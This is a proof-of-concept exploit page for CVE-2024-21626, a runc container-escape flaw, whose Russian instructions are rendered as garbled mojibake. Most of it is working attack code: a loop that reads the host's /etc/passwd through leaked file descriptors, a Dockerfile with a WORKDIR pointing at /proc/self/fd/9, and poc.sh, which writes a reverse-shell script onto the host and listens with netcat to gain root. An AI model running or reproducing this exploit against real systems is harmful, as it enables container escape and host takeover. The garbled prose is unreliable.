## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KUBERNETESBACHELOR-CVE-2024-21626
# CVE-2024-21626 POC
# Π’ΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΡ
## runc 1.1.0 <= 1.1.11
# Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΠΉ ΡΡΠ΅Π΄Ρ
## Π Π°Π·Π²Π΅ΡΠ½ΠΈΡΠ΅ Π²ΠΈΡΡΡΠ°Π»ΡΠ½ΡΡ ΠΌΠ°ΡΠΈΠ½Ρ Ρ Ubuntu 20.04 ΠΈ Π·Π°Π³ΡΡΠ·ΠΈΡΠ΅ Docker, ΡΠ»Π΅Π΄ΡΡ ΠΈΡ
ΡΡΠΊΠΎΠ²ΠΎΠ΄ΡΡΠ²Ρ
root@kitploit:~
https://docs.docker.com/engine/install/ubuntu/
## ΠΠ°ΠΌΠ΅Π½ΠΈΡΠ΅ ΠΏΡΠΎΠΏΠ°ΡΡΠ΅Π½Π½ΡΡ Π²Π΅ΡΡΠΈΡ 'runc' Π² Docker Π½Π° ΡΡΠ·Π²ΠΈΠΌΡΡ
ΠΠ°Π³ΡΡΠ·ΠΈΡΠ΅ ΡΡΠ·Π²ΠΈΠΌΡΡ Π²Π΅ΡΡΠΈΡ (runc 1.1.11 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΡΠ°Π½Π½ΡΡ) ΠΈΠ· ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ runc Π½Π° GitHub: https://github.com/opencontainers/runc/releases
ΠΡΠ±Π΅ΡΠΈΡΠ΅ runc.amd64 (ΡΡΠ΅Π±ΠΎΠ²Π°Π½ΠΈΠ΅) 
# ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ°
## ΠΠ°ΠΏΡΡΡΠΈΡΠ΅ ΡΠΊΡΠΈΠΏΡ 'verify.sh'
root@kitploit:~
#! /bin/bash
for i in {4..20}; do
docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done

## ΠΠ·ΠΌΠ΅Π½ΠΈΡΠ΅ ΡΠ°Π±ΠΎΡΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ Π² Dockerfile Π½Π° ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ»ΠΎΠ²ΡΠΉ Π΄Π΅ΡΠΊΡΠΈΠΏΡΠΎΡ, Π½Π°ΠΉΠ΄Π΅Π½Π½ΡΠΉ ΠΏΡΠΈ Π²ΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ verify.sh
root@kitploit:~
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9
## Π‘ΠΎΠ±Π΅ΡΠΈΡΠ΅ ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ
root@kitploit:~
docker build . -t name_of_container
## poc.sh
root@kitploit:~
#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF
# ΡΠ»ΡΡΠ°Π΅ΠΌ ΠΈ ΠΆΠ΄Π΅ΠΌ ΡΠ΅Π²Π΅ΡΡΠΈΠ²Π½ΡΡ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΡ
nc -lvvp 1337
## ΠΠ°ΠΏΡΡΡΠΈΡΠ΅ ΠΎΠ±ΡΠ°Π· ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠ° ΠΈ Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ poc.sh Π² bash-ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠ΅
root@kitploit:~
docker run -it --rm cve2024 bash /poc.sh
## ΠΠΎΠ½ΡΠ΅ΠΉΠ½Π΅Ρ ΠΏΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΡ Π² ΡΠ΅ΠΆΠΈΠΌ ΠΏΡΠΎΡΠ»ΡΡΠΈΠ²Π°Π½ΠΈΡ

## ΠΠ° Ρ
ΠΎΡΡ-ΠΌΠ°ΡΠΈΠ½Π΅ Π² ΠΊΠΎΡΠ½Π΅Π²ΠΎΠΌ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π΅ Π±ΡΠ» ΡΠΎΠ·Π΄Π°Π½ Π½ΠΎΠ²ΡΠΉ ΡΠΊΡΠΈΠΏΡ Ρ ΠΈΠΌΠ΅Π½Π΅ΠΌ 'bash.copy' Π² Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΠΈ `/proc/self/cwd/../../../bin/`

## Π‘Π΄Π΅Π»Π°Π² ΡΠΊΡΠΈΠΏΡ ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΡΠΌ ΠΈ Π·Π°ΠΏΡΡΡΠΈΠ² Π΅Π³ΠΎ...
root@kitploit:~
chmod +x bash.copy
./bash.copy
## ... Π²Ρ ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ ΡΠ΅Π²Π΅ΡΡΠΈΠ²Π½ΡΡ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΡ Ρ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΌΠΈ root Π½Π° Ρ
ΠΎΡΡ-ΠΌΠ°ΡΠΈΠ½Π΅

# ΠΡΡΠΎΡΠ½ΠΈΠΊ
https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0